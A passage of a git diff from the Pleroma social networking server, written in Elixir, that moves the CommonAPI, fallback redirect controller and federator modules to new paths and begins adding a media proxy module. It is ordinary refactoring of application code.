UserRelationship.create_reblog_mute(user, target) + end + + def show_reblogs(%User{} = user, %User{} = target) do + UserRelationship.delete_reblog_mute(user, target) + end + + def get_user(ap_id, fake_record_fallback \\ true) do + cond do + user = User.get_cached_by_ap_id(ap_id) -> + user + + user = User.get_by_guessed_nickname(ap_id) -> + user + + fake_record_fallback -> + # TODO: refactor (fake records is never a good idea) + User.error_user(ap_id) + + true -> + nil + end + end +end diff --git a/lib/pleroma/web/common_api/common_api.ex b/lib/pleroma/web/common_api/common_api.ex deleted file mode 100644 index 60a50b027..000000000 --- a/lib/pleroma/web/common_api/common_api.ex +++ /dev/null @@ -1,573 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.CommonAPI do - alias Pleroma.Activity - alias Pleroma.Conversation.Participation - alias Pleroma.Formatter - alias Pleroma.Object - alias Pleroma.ThreadMute - alias Pleroma.User - alias Pleroma.UserRelationship - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.Pipeline - alias Pleroma.Web.ActivityPub.Utils - alias Pleroma.Web.ActivityPub.Visibility - - import Pleroma.Web.Gettext - import Pleroma.Web.CommonAPI.Utils - - require Pleroma.Constants - require Logger - - def block(blocker, blocked) do - with {:ok, block_data, _} <- Builder.block(blocker, blocked), - {:ok, block, _} <- Pipeline.common_pipeline(block_data, local: true) do - {:ok, block} - end - end - - def post_chat_message(%User{} = user, %User{} = recipient, content, opts \\ []) do - with maybe_attachment <- opts[:media_id] && Object.get_by_id(opts[:media_id]), - :ok <- validate_chat_content_length(content, !!maybe_attachment), - {_, {:ok, chat_message_data, _meta}} <- - {:build_object, - Builder.chat_message( - user, - recipient.ap_id, - content |> format_chat_content, - attachment: maybe_attachment - )}, - {_, {:ok, create_activity_data, _meta}} <- - {:build_create_activity, Builder.create(user, chat_message_data, [recipient.ap_id])}, - {_, {:ok, %Activity{} = activity, _meta}} <- - {:common_pipeline, - Pipeline.common_pipeline(create_activity_data, - local: true - )} do - {:ok, activity} - else - {:common_pipeline, {:reject, _} = e} -> e - e -> e - end - end - - defp format_chat_content(nil), do: nil - - defp format_chat_content(content) do - {text, _, _} = - content - |> Formatter.html_escape("text/plain") - |> Formatter.linkify() - |> (fn {text, mentions, tags} -> - {String.replace(text, ~r/\r?\n/, "<br>"), mentions, tags} - end).() - - text - end - - defp validate_chat_content_length(_, true), do: :ok - defp validate_chat_content_length(nil, false), do: {:error, :no_content} - - defp validate_chat_content_length(content, _) do - if String.length(content) <= Pleroma.Config.get([:instance, :chat_limit]) do - :ok - else - {:error, :content_too_long} - end - end - - def unblock(blocker, blocked) do - with {_, %Activity{} = block} <- {:fetch_block, Utils.fetch_latest_block(blocker, blocked)}, - {:ok, unblock_data, _} <- Builder.undo(blocker, block), - {:ok, unblock, _} <- Pipeline.common_pipeline(unblock_data, local: true) do - {:ok, unblock} - else - {:fetch_block, nil} -> - if User.blocks?(blocker, blocked) do - User.unblock(blocker, blocked) - {:ok, :no_activity} - else - {:error, :not_blocking} - end - - e -> - e - end - end - - def follow(follower, followed) do - timeout = Pleroma.Config.get([:activitypub, :follow_handshake_timeout]) - - with {:ok, follow_data, _} <- Builder.follow(follower, followed), - {:ok, activity, _} <- Pipeline.common_pipeline(follow_data, local: true), - {:ok, follower, followed} <- User.wait_and_refresh(timeout, follower, followed) do - if activity.data["state"] == "reject" do - {:error, :rejected} - else - {:ok, follower, followed, activity} - end - end - end - - def unfollow(follower, unfollowed) do - with {:ok, follower, _follow_activity} <- User.unfollow(follower, unfollowed), - {:ok, _activity} <- ActivityPub.unfollow(follower, unfollowed), - {:ok, _subscription} <- User.unsubscribe(follower, unfollowed) do - {:ok, follower} - end - end - - def accept_follow_request(follower, followed) do - with %Activity{} = follow_activity <- Utils.fetch_latest_follow(follower, followed), - {:ok, accept_data, _} <- Builder.accept(followed, follow_activity), - {:ok, _activity, _} <- Pipeline.common_pipeline(accept_data, local: true) do - {:ok, follower} - end - end - - def reject_follow_request(follower, followed) do - with %Activity{} = follow_activity <- Utils.fetch_latest_follow(follower, followed), - {:ok, reject_data, _} <- Builder.reject(followed, follow_activity), - {:ok, _activity, _} <- Pipeline.common_pipeline(reject_data, local: true) do - {:ok, follower} - end - end - - def delete(activity_id, user) do - with {_, %Activity{data: %{"object" => _, "type" => "Create"}} = activity} <- - {:find_activity, Activity.get_by_id(activity_id)}, - {_, %Object{} = object, _} <- - {:find_object, Object.normalize(activity, false), activity}, - true <- User.superuser?(user) || user.ap_id == object.data["actor"], - {:ok, delete_data, _} <- Builder.delete(user, object.data["id"]), - {:ok, delete, _} <- Pipeline.common_pipeline(delete_data, local: true) do - {:ok, delete} - else - {:find_activity, _} -> - {:error, :not_found} - - {:find_object, nil, %Activity{data: %{"actor" => actor, "object" => object}}} -> - # We have the create activity, but not the object, it was probably pruned. - # Insert a tombstone and try again - with {:ok, tombstone_data, _} <- Builder.tombstone(actor, object), - {:ok, _tombstone} <- Object.create(tombstone_data) do - delete(activity_id, user) - else - _ -> - Logger.error( - "Could not insert tombstone for missing object on deletion. Object is #{object}." - ) - - {:error, dgettext("errors", "Could not delete")} - end - - _ -> - {:error, dgettext("errors", "Could not delete")} - end - end - - def repeat(id, user, params \\ %{}) do - with %Activity{data: %{"type" => "Create"}} = activity <- Activity.get_by_id(id), - object = %Object{} <- Object.normalize(activity, false), - {_, nil} <- {:existing_announce, Utils.get_existing_announce(user.ap_id, object)}, - public = public_announce?(object, params), - {:ok, announce, _} <- Builder.announce(user, object, public: public), - {:ok, activity, _} <- Pipeline.common_pipeline(announce, local: true) do - {:ok, activity} - else - {:existing_announce, %Activity{} = announce} -> - {:ok, announce} - - _ -> - {:error, :not_found} - end - end - - def unrepeat(id, user) do - with {_, %Activity{data: %{"type" => "Create"}} = activity} <- - {:find_activity, Activity.get_by_id(id)}, - %Object{} = note <- Object.normalize(activity, false), - %Activity{} = announce <- Utils.get_existing_announce(user.ap_id, note), - {:ok, undo, _} <- Builder.undo(user, announce), - {:ok, activity, _} <- Pipeline.common_pipeline(undo, local: true) do - {:ok, activity} - else - {:find_activity, _} -> {:error, :not_found} - _ -> {:error, dgettext("errors", "Could not unrepeat")} - end - end - - @spec favorite(User.t(), binary()) :: {:ok, Activity.t() | :already_liked} | {:error, any()} - def favorite(%User{} = user, id) do - case favorite_helper(user, id) do - {:ok, _} = res -> - res - - {:error, :not_found} = res -> - res - - {:error, e} -> - Logger.error("Could not favorite #{id}. Error: #{inspect(e, pretty: true)}") - {:error, dgettext("errors", "Could not favorite")} - end - end - - def favorite_helper(user, id) do - with {_, %Activity{object: object}} <- {:find_object, Activity.get_by_id_with_object(id)}, - {_, {:ok, like_object, meta}} <- {:build_object, Builder.like(user, object)}, - {_, {:ok, %Activity{} = activity, _meta}} <- - {:common_pipeline, - Pipeline.common_pipeline(like_object, Keyword.put(meta, :local, true))} do - {:ok, activity} - else - {:find_object, _} -> - {:error, :not_found} - - {:common_pipeline, - { - :error, - { - :validate_object, - { - :error, - changeset - } - } - }} = e -> - if {:object, {"already liked by this actor", []}} in changeset.errors do - {:ok, :already_liked} - else - {:error, e} - end - - e -> - {:error, e} - end - end - - def unfavorite(id, user) do - with {_, %Activity{data: %{"type" => "Create"}} = activity} <- - {:find_activity, Activity.get_by_id(id)}, - %Object{} = note <- Object.normalize(activity, false), - %Activity{} = like <- Utils.get_existing_like(user.ap_id, note), - {:ok, undo, _} <- Builder.undo(user, like), - {:ok, activity, _} <- Pipeline.common_pipeline(undo, local: true) do - {:ok, activity} - else - {:find_activity, _} -> {:error, :not_found} - _ -> {:error, dgettext("errors", "Could not unfavorite")} - end - end - - def react_with_emoji(id, user, emoji) do - with %Activity{} = activity <- Activity.get_by_id(id), - object <- Object.normalize(activity), - {:ok, emoji_react, _} <- Builder.emoji_react(user, object, emoji), - {:ok, activity, _} <- Pipeline.common_pipeline(emoji_react, local: true) do - {:ok, activity} - else - _ -> - {:error, dgettext("errors", "Could not add reaction emoji")} - end - end - - def unreact_with_emoji(id, user, emoji) do - with %Activity{} = reaction_activity <- Utils.get_latest_reaction(id, user, emoji), - {:ok, undo, _} <- Builder.undo(user, reaction_activity), - {:ok, activity, _} <- Pipeline.common_pipeline(undo, local: true) do - {:ok, activity} - else - _ -> - {:error, dgettext("errors", "Could not remove reaction emoji")} - end - end - - def vote(user, %{data: %{"type" => "Question"}} = object, choices) do - with :ok <- validate_not_author(object, user), - :ok <- validate_existing_votes(user, object), - {:ok, options, choices} <- normalize_and_validate_choices(choices, object) do - answer_activities = - Enum.map(choices, fn index -> - {:ok, answer_object, _meta} = - Builder.answer(user, object, Enum.at(options, index)["name"]) - - {:ok, activity_data, _meta} = Builder.create(user, answer_object, []) - - {:ok, activity, _meta} = - activity_data - |> Map.put("cc", answer_object["cc"]) - |> Map.put("context", answer_object["context"]) - |> Pipeline.common_pipeline(local: true) - - # TODO: Do preload of Pleroma.Object in Pipeline - Activity.normalize(activity.data) - end) - - object = Object.get_cached_by_ap_id(object.data["id"]) - {:ok, answer_activities, object} - end - end - - defp validate_not_author(%{data: %{"actor" => ap_id}}, %{ap_id: ap_id}), - do: {:error, dgettext("errors", "Poll's author can't vote")} - - defp validate_not_author(_, _), do: :ok - - defp validate_existing_votes(%{ap_id: ap_id}, object) do - if Utils.get_existing_votes(ap_id, object) == [] do - :ok - else - {:error, dgettext("errors", "Already voted")} - end - end - - defp get_options_and_max_count(%{data: %{"anyOf" => any_of}}) - when is_list(any_of) and any_of != [], - do: {any_of, Enum.count(any_of)} - - defp get_options_and_max_count(%{data: %{"oneOf" => one_of}}) - when is_list(one_of) and one_of != [], - do: {one_of, 1} - - defp normalize_and_validate_choices(choices, object) do - choices = Enum.map(choices, fn i -> if is_binary(i), do: String.to_integer(i), else: i end) - {options, max_count} = get_options_and_max_count(object) - count = Enum.count(options) - - with {_, true} <- {:valid_choice, Enum.all?(choices, &(&1 < count))}, - {_, true} <- {:count_check, Enum.count(choices) <= max_count} do - {:ok, options, choices} - else - {:valid_choice, _} -> {:error, dgettext("errors", "Invalid indices")} - {:count_check, _} -> {:error, dgettext("errors", "Too many choices")} - end - end - - def public_announce?(_, %{visibility: visibility}) - when visibility in ~w{public unlisted private direct}, - do: visibility in ~w(public unlisted) - - def public_announce?(object, _) do - Visibility.is_public?(object) - end - - def get_visibility(_, _, %Participation{}), do: {"direct", "direct"} - - def get_visibility(%{visibility: visibility}, in_reply_to, _) - when visibility in ~w{public unlisted private direct}, - do: {visibility, get_replied_to_visibility(in_reply_to)} - - def get_visibility(%{visibility: "list:" <> list_id}, in_reply_to, _) do - visibility = {:list, String.to_integer(list_id)} - {visibility, get_replied_to_visibility(in_reply_to)} - end - - def get_visibility(_, in_reply_to, _) when not is_nil(in_reply_to) do - visibility = get_replied_to_visibility(in_reply_to) - {visibility, visibility} - end - - def get_visibility(_, in_reply_to, _), do: {"public", get_replied_to_visibility(in_reply_to)} - - def get_replied_to_visibility(nil), do: nil - - def get_replied_to_visibility(activity) do - with %Object{} = object <- Object.normalize(activity) do - Visibility.get_visibility(object) - end - end - - def check_expiry_date({:ok, nil} = res), do: res - - def check_expiry_date({:ok, in_seconds}) do - expiry = DateTime.add(DateTime.utc_now(), in_seconds) - - if Pleroma.Workers.PurgeExpiredActivity.expires_late_enough?(expiry) do - {:ok, expiry} - else - {:error, "Expiry date is too soon"} - end - end - - def check_expiry_date(expiry_str) do - Ecto.Type.cast(:integer, expiry_str) - |> check_expiry_date() - end - - def listen(user, data) do - visibility = Map.get(data, :visibility, "public") - - with {to, cc} <- get_to_and_cc(user, [], nil, visibility, nil), - listen_data <- - data - |> Map.take([:album, :artist, :title, :length]) - |> Map.new(fn {key, value} -> {to_string(key), value} end) - |> Map.put("type", "Audio") - |> Map.put("to", to) - |> Map.put("cc", cc) - |> Map.put("actor", user.ap_id), - {:ok, activity} <- - ActivityPub.listen(%{ - actor: user, - to: to, - object: listen_data, - context: Utils.generate_context_id(), - additional: %{"cc" => cc} - }) do - {:ok, activity} - end - end - - def post(user, %{status: _} = data) do - with {:ok, draft} <- Pleroma.Web.CommonAPI.ActivityDraft.create(user, data) do - ActivityPub.create(draft.changes, draft.preview?) - end - end - - def pin(id, %{ap_id: user_ap_id} = user) do - with %Activity{ - actor: ^user_ap_id, - data: %{"type" => "Create"}, - object: %Object{data: %{"type" => object_type}} - } = activity <- Activity.get_by_id_with_object(id), - true <- object_type in ["Note", "Article", "Question"], - true <- Visibility.is_public?(activity), - {:ok, _user} <- User.add_pinnned_activity(user, activity) do - {:ok, activity} - else - {:error, %{errors: [pinned_activities: {err, _}]}} -> {:error, err} - _ -> {:error, dgettext("errors", "Could not pin")} - end - end - - def unpin(id, user) do - with %Activity{data: %{"type" => "Create"}} = activity <- Activity.get_by_id(id), - {:ok, _user} <- User.remove_pinnned_activity(user, activity) do - {:ok, activity} - else - {:error, %{errors: [pinned_activities: {err, _}]}} -> {:error, err} - _ -> {:error, dgettext("errors", "Could not unpin")} - end - end - - def add_mute(user, activity) do - with {:ok, _} <- ThreadMute.add_mute(user.id, activity.data["context"]), - _ <- Pleroma.Notification.mark_context_as_read(user, activity.data["context"]) do - {:ok, activity} - else - {:error, _} -> {:error, dgettext("errors", "conversation is already muted")} - end - end - - def remove_mute(user, activity) do - ThreadMute.remove_mute(user.id, activity.data["context"]) - {:ok, activity} - end - - def thread_muted?(%User{id: user_id}, %{data: %{"context" => context}}) - when is_binary(context) do - ThreadMute.exists?(user_id, context) - end - - def thread_muted?(_, _), do: false - - def report(user, data) do - with {:ok, account} <- get_reported_account(data.account_id), - {:ok, {content_html, _, _}} <- make_report_content_html(data[:comment]), - {:ok, statuses} <- get_report_statuses(account, data) do - ActivityPub.flag(%{ - context: Utils.generate_context_id(), - actor: user, - account: account, - statuses: statuses, - content: content_html, - forward: Map.get(data, :forward, false) - }) - end - end - - defp get_reported_account(account_id) do - case User.get_cached_by_id(account_id) do - %User{} = account -> {:ok, account} - _ -> {:error, dgettext("errors", "Account not found")} - end - end - - def update_report_state(activity_ids, state) when is_list(activity_ids) do - case Utils.update_report_state(activity_ids, state) do - :ok -> {:ok, activity_ids} - _ -> {:error, dgettext("errors", "Could not update state")} - end - end - - def update_report_state(activity_id, state) do - with %Activity{} = activity <- Activity.get_by_id(activity_id) do - Utils.update_report_state(activity, state) - else - nil -> {:error, :not_found} - _ -> {:error, dgettext("errors", "Could not update state")} - end - end - - def update_activity_scope(activity_id, opts \\ %{}) do - with %Activity{} = activity <- Activity.get_by_id_with_object(activity_id), - {:ok, activity} <- toggle_sensitive(activity, opts) do - set_visibility(activity, opts) - else - nil -> {:error, :not_found} - {:error, reason} -> {:error, reason} - end - end - - defp toggle_sensitive(activity, %{sensitive: sensitive}) when sensitive in ~w(true false) do - toggle_sensitive(activity, %{sensitive: String.to_existing_atom(sensitive)}) - end - - defp toggle_sensitive(%Activity{object: object} = activity, %{sensitive: sensitive}) - when is_boolean(sensitive) do - new_data = Map.put(object.data, "sensitive", sensitive) - - {:ok, object} = - object - |> Object.change(%{data: new_data}) - |> Object.update_and_set_cache() - - {:ok, Map.put(activity, :object, object)} - end - - defp toggle_sensitive(activity, _), do: {:ok, activity} - - defp set_visibility(activity, %{visibility: visibility}) do - Utils.update_activity_visibility(activity, visibility) - end - - defp set_visibility(activity, _), do: {:ok, activity} - - def hide_reblogs(%User{} = user, %User{} = target) do - UserRelationship.create_reblog_mute(user, target) - end - - def show_reblogs(%User{} = user, %User{} = target) do - UserRelationship.delete_reblog_mute(user, target) - end - - def get_user(ap_id, fake_record_fallback \\ true) do - cond do - user = User.get_cached_by_ap_id(ap_id) -> - user - - user = User.get_by_guessed_nickname(ap_id) -> - user - - fake_record_fallback -> - # TODO: refactor (fake records is never a good idea) - User.error_user(ap_id) - - true -> - nil - end - end -end diff --git a/lib/pleroma/web/fallback/redirect_controller.ex b/lib/pleroma/web/fallback/redirect_controller.ex new file mode 100644 index 000000000..a7b36a34b --- /dev/null +++ b/lib/pleroma/web/fallback/redirect_controller.ex @@ -0,0 +1,108 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Fallback.RedirectController do + use Pleroma.Web, :controller + + require Logger + + alias Pleroma.User + alias Pleroma.Web.Metadata + alias Pleroma.Web.Preload + + def api_not_implemented(conn, _params) do + conn + |> put_status(404) + |> json(%{error: "Not implemented"}) + end + + def redirector(conn, _params, code \\ 200) do + conn + |> put_resp_content_type("text/html") + |> send_file(code, index_file_path()) + end + + def redirector_with_meta(conn, %{"maybe_nickname_or_id" => maybe_nickname_or_id} = params) do + with %User{} = user <- User.get_cached_by_nickname_or_id(maybe_nickname_or_id) do + redirector_with_meta(conn, %{user: user}) + else + nil -> + redirector(conn, params) + end + end + + def redirector_with_meta(conn, params) do + {:ok, index_content} = File.read(index_file_path()) + + tags = build_tags(conn, params) + preloads = preload_data(conn, params) + + response = + index_content + |> String.replace("<!--server-generated-meta-->", tags <> preloads) + + conn + |> put_resp_content_type("text/html") + |> send_resp(200, response) + end + + def redirector_with_preload(conn, %{"path" => ["pleroma", "admin"]}) do + redirect(conn, to: "/pleroma/admin/") + end + + def redirector_with_preload(conn, params) do + {:ok, index_content} = File.read(index_file_path()) + preloads = preload_data(conn, params) + + response = + index_content + |> String.replace("<!--server-generated-meta-->", preloads) + + conn + |> put_resp_content_type("text/html") + |> send_resp(200, response) + end + + def registration_page(conn, params) do + redirector(conn, params) + end + + def empty(conn, _params) do + conn + |> put_status(204) + |> text("") + end + + defp index_file_path do + Pleroma.Plugs.InstanceStatic.file_path("index.html") + end + + defp build_tags(conn, params) do + try do + Metadata.build_tags(params) + rescue + e -> + Logger.error( + "Metadata rendering for #{conn.request_path} failed.\n" <> + Exception.format(:error, e, __STACKTRACE__) + ) + + "" + end + end + + defp preload_data(conn, params) do + try do + Preload.build_tags(conn, params) + rescue + e -> + Logger.error( + "Preloading for #{conn.request_path} failed.\n" <> + Exception.format(:error, e, __STACKTRACE__) + ) + + "" + end + end +end diff --git a/lib/pleroma/web/fallback_redirect_controller.ex b/lib/pleroma/web/fallback_redirect_controller.ex deleted file mode 100644 index 431ad5485..000000000 --- a/lib/pleroma/web/fallback_redirect_controller.ex +++ /dev/null @@ -1,108 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Fallback.RedirectController do - use Pleroma.Web, :controller - - require Logger - - alias Pleroma.User - alias Pleroma.Web.Metadata - alias Pleroma.Web.Preload - - def api_not_implemented(conn, _params) do - conn - |> put_status(404) - |> json(%{error: "Not implemented"}) - end - - def redirector(conn, _params, code \\ 200) do - conn - |> put_resp_content_type("text/html") - |> send_file(code, index_file_path()) - end - - def redirector_with_meta(conn, %{"maybe_nickname_or_id" => maybe_nickname_or_id} = params) do - with %User{} = user <- User.get_cached_by_nickname_or_id(maybe_nickname_or_id) do - redirector_with_meta(conn, %{user: user}) - else - nil -> - redirector(conn, params) - end - end - - def redirector_with_meta(conn, params) do - {:ok, index_content} = File.read(index_file_path()) - - tags = build_tags(conn, params) - preloads = preload_data(conn, params) - - response = - index_content - |> String.replace("<!--server-generated-meta-->", tags <> preloads) - - conn - |> put_resp_content_type("text/html") - |> send_resp(200, response) - end - - def redirector_with_preload(conn, %{"path" => ["pleroma", "admin"]}) do - redirect(conn, to: "/pleroma/admin/") - end - - def redirector_with_preload(conn, params) do - {:ok, index_content} = File.read(index_file_path()) - preloads = preload_data(conn, params) - - response = - index_content - |> String.replace("<!--server-generated-meta-->", preloads) - - conn - |> put_resp_content_type("text/html") - |> send_resp(200, response) - end - - def registration_page(conn, params) do - redirector(conn, params) - end - - def empty(conn, _params) do - conn - |> put_status(204) - |> text("") - end - - defp index_file_path do - Pleroma.Plugs.InstanceStatic.file_path("index.html") - end - - defp build_tags(conn, params) do - try do - Metadata.build_tags(params) - rescue - e -> - Logger.error( - "Metadata rendering for #{conn.request_path} failed.\n" <> - Exception.format(:error, e, __STACKTRACE__) - ) - - "" - end - end - - defp preload_data(conn, params) do - try do - Preload.build_tags(conn, params) - rescue - e -> - Logger.error( - "Preloading for #{conn.request_path} failed.\n" <> - Exception.format(:error, e, __STACKTRACE__) - ) - - "" - end - end -end diff --git a/lib/pleroma/web/federator.ex b/lib/pleroma/web/federator.ex new file mode 100644 index 000000000..130654145 --- /dev/null +++ b/lib/pleroma/web/federator.ex @@ -0,0 +1,111 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Federator do + alias Pleroma.Activity + alias Pleroma.Object.Containment + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.ActivityPub.Utils + alias Pleroma.Web.Federator.Publisher + alias Pleroma.Workers.PublisherWorker + alias Pleroma.Workers.ReceiverWorker + + require Logger + + @doc """ + Returns `true` if the distance to target object does not exceed max configured value. + Serves to prevent fetching of very long threads, especially useful on smaller instances. + Addresses [memory leaks on recursive replies fetching](https://git.pleroma.social/pleroma/pleroma/issues/161). + Applies to fetching of both ancestor (reply-to) and child (reply) objects. + """ + # credo:disable-for-previous-line Credo.Check.Readability.MaxLineLength + def allowed_thread_distance?(distance) do + max_distance = Pleroma.Config.get([:instance, :federation_incoming_replies_max_depth]) + + if max_distance && max_distance >= 0 do + # Default depth is 0 (an object has zero distance from itself in its thread) + (distance || 0) <= max_distance + else + true + end + end + + # Client API + + def incoming_ap_doc(params) do + ReceiverWorker.enqueue("incoming_ap_doc", %{"params" => params}) + end + + def publish(%{id: "pleroma:fakeid"} = activity) do + perform(:publish, activity) + end + + def publish(activity) do + PublisherWorker.enqueue("publish", %{"activity_id" => activity.id}) + end + + # Job Worker Callbacks + + @spec perform(atom(), module(), any()) :: {:ok, any()} | {:error, any()} + def perform(:publish_one, module, params) do + apply(module, :publish_one, [params]) + end + + def perform(:publish, activity) do + Logger.debug(fn -> "Running publish for #{activity.data["id"]}" end) + + with %User{} = actor <- User.get_cached_by_ap_id(activity.data["actor"]), + {:ok, actor} <- User.ensure_keys_present(actor) do + Publisher.publish(actor, activity) + end + end + + def perform(:incoming_ap_doc, params) do + Logger.debug("Handling incoming AP activity") + + actor = + params + |> Map.get("actor") + |> Utils.get_ap_id() + + # NOTE: we use the actor ID to do the containment, this is fine because an + # actor shouldn't be acting on objects outside their own AP server. + with {_, {:ok, _user}} <- {:actor, ap_enabled_actor(actor)}, + nil <- Activity.normalize(params["id"]), + {_, :ok} <- + {:correct_origin?, Containment.contain_origin_from_id(actor, params)}, + {:ok, activity} <- Transmogrifier.handle_incoming(params) do + {:ok, activity} + else + {:correct_origin?, _} -> + Logger.debug("Origin containment failure for #{params["id"]}") + {:error, :origin_containment_failed} + + %Activity{} -> + Logger.debug("Already had #{params["id"]}") + {:error, :already_present} + + {:actor, e} -> + Logger.debug("Unhandled actor #{actor}, #{inspect(e)}") + {:error, e} + + e -> + # Just drop those for now + Logger.debug(fn -> "Unhandled activity\n" <> Jason.encode!(params, pretty: true) end) + {:error, e} + end + end + + def ap_enabled_actor(id) do + user = User.get_cached_by_ap_id(id) + + if User.ap_enabled?(user) do + {:ok, user} + else + ActivityPub.make_user_from_ap_id(id) + end + end +end diff --git a/lib/pleroma/web/federator/federator.ex b/lib/pleroma/web/federator/federator.ex deleted file mode 100644 index 130654145..000000000 --- a/lib/pleroma/web/federator/federator.ex +++ /dev/null @@ -1,111 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Federator do - alias Pleroma.Activity - alias Pleroma.Object.Containment - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.ActivityPub.Utils - alias Pleroma.Web.Federator.Publisher - alias Pleroma.Workers.PublisherWorker - alias Pleroma.Workers.ReceiverWorker - - require Logger - - @doc """ - Returns `true` if the distance to target object does not exceed max configured value. - Serves to prevent fetching of very long threads, especially useful on smaller instances. - Addresses [memory leaks on recursive replies fetching](https://git.pleroma.social/pleroma/pleroma/issues/161). - Applies to fetching of both ancestor (reply-to) and child (reply) objects. - """ - # credo:disable-for-previous-line Credo.Check.Readability.MaxLineLength - def allowed_thread_distance?(distance) do - max_distance = Pleroma.Config.get([:instance, :federation_incoming_replies_max_depth]) - - if max_distance && max_distance >= 0 do - # Default depth is 0 (an object has zero distance from itself in its thread) - (distance || 0) <= max_distance - else - true - end - end - - # Client API - - def incoming_ap_doc(params) do - ReceiverWorker.enqueue("incoming_ap_doc", %{"params" => params}) - end - - def publish(%{id: "pleroma:fakeid"} = activity) do - perform(:publish, activity) - end - - def publish(activity) do - PublisherWorker.enqueue("publish", %{"activity_id" => activity.id}) - end - - # Job Worker Callbacks - - @spec perform(atom(), module(), any()) :: {:ok, any()} | {:error, any()} - def perform(:publish_one, module, params) do - apply(module, :publish_one, [params]) - end - - def perform(:publish, activity) do - Logger.debug(fn -> "Running publish for #{activity.data["id"]}" end) - - with %User{} = actor <- User.get_cached_by_ap_id(activity.data["actor"]), - {:ok, actor} <- User.ensure_keys_present(actor) do - Publisher.publish(actor, activity) - end - end - - def perform(:incoming_ap_doc, params) do - Logger.debug("Handling incoming AP activity") - - actor = - params - |> Map.get("actor") - |> Utils.get_ap_id() - - # NOTE: we use the actor ID to do the containment, this is fine because an - # actor shouldn't be acting on objects outside their own AP server. - with {_, {:ok, _user}} <- {:actor, ap_enabled_actor(actor)}, - nil <- Activity.normalize(params["id"]), - {_, :ok} <- - {:correct_origin?, Containment.contain_origin_from_id(actor, params)}, - {:ok, activity} <- Transmogrifier.handle_incoming(params) do - {:ok, activity} - else - {:correct_origin?, _} -> - Logger.debug("Origin containment failure for #{params["id"]}") - {:error, :origin_containment_failed} - - %Activity{} -> - Logger.debug("Already had #{params["id"]}") - {:error, :already_present} - - {:actor, e} -> - Logger.debug("Unhandled actor #{actor}, #{inspect(e)}") - {:error, e} - - e -> - # Just drop those for now - Logger.debug(fn -> "Unhandled activity\n" <> Jason.encode!(params, pretty: true) end) - {:error, e} - end - end - - def ap_enabled_actor(id) do - user = User.get_cached_by_ap_id(id) - - if User.ap_enabled?(user) do - {:ok, user} - else - ActivityPub.make_user_from_ap_id(id) - end - end -end diff --git a/lib/pleroma/web/feed/user_controller.ex b/lib/pleroma/web/feed/user_controller.ex index 71eb1ea7e..bea07649b 100644 --- a/lib/pleroma/web/feed/user_controller.ex +++ b/lib/pleroma/web/feed/user_controller.ex @@ -5,7 +5,6 @@ defmodule Pleroma.Web.Feed.UserController do use Pleroma.Web, :controller - alias Fallback.RedirectController alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.ActivityPub.ActivityPubController @@ -17,7 +16,7 @@ defmodule Pleroma.Web.Feed.UserController do def feed_redirect(%{assigns: %{format: "html"}} = conn, %{"nickname" => nickname}) do with {_, %User{} = user} <- {:fetch_user, User.get_cached_by_nickname_or_id(nickname)} do - RedirectController.redirector_with_meta(conn, %{user: user}) + Pleroma.Web.Fallback.RedirectController.redirector_with_meta(conn, %{user: user}) end end diff --git a/lib/pleroma/web/media_proxy.ex b/lib/pleroma/web/media_proxy.ex new file mode 100644 index 000000000..8656b8cad --- /dev/null +++ b/lib/pleroma/web/media_proxy.ex @@ -0,0 +1,186 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MediaProxy do + alias Pleroma.Config + alias Pleroma.Helpers.UriHelper + alias Pleroma.Upload + alias Pleroma.Web + alias Pleroma.Web.MediaProxy.Invalidation + + @base64_opts [padding: false] + @cache_table :banned_urls_cache + + def cache_table, do: @cache_table + + @spec in_banned_urls(String.t()) :: boolean() + def in_banned_urls(url), do: elem(Cachex.exists?(@cache_table, url(url)), 1) + + def remove_from_banned_urls(urls) when is_list(urls) do + Cachex.execute!(@cache_table, fn cache -> + Enum.each(Invalidation.prepare_urls(urls), &Cachex.del(cache, &1)) + end) + end + + def remove_from_banned_urls(url) when is_binary(url) do + Cachex.del(@cache_table, url(url)) + end + + def put_in_banned_urls(urls) when is_list(urls) do + Cachex.execute!(@cache_table, fn cache -> + Enum.each(Invalidation.prepare_urls(urls), &Cachex.put(cache, &1, true)) + end) + end + + def put_in_banned_urls(url) when is_binary(url) do + Cachex.put(@cache_table, url(url), true) + end + + def url(url) when is_nil(url) or url == "", do: nil + def url("/" <> _ = url), do: url + + def url(url) do + if enabled?() and url_proxiable?(url) do + encode_url(url) + else + url + end + end + + @spec url_proxiable?(String.t()) :: boolean() + def url_proxiable?(url) do + not local?(url) and not whitelisted?(url) + end + + def preview_url(url, preview_params \\ []) do + if preview_enabled?() do + encode_preview_url(url, preview_params) + else + url(url) + end + end + + def enabled?, do: Config.get([:media_proxy, :enabled], false) + + # Note: media proxy must be enabled for media preview proxy in order to load all + # non-local non-whitelisted URLs through it and be sure that body size constraint is preserved. + def preview_enabled?, do: enabled?() and !!Config.get([:media_preview_proxy, :enabled]) + + def local?(url), do: String.starts_with?(url, Pleroma.Web.base_url()) + + def whitelisted?(url) do + %{host: domain} = URI.parse(url) + + 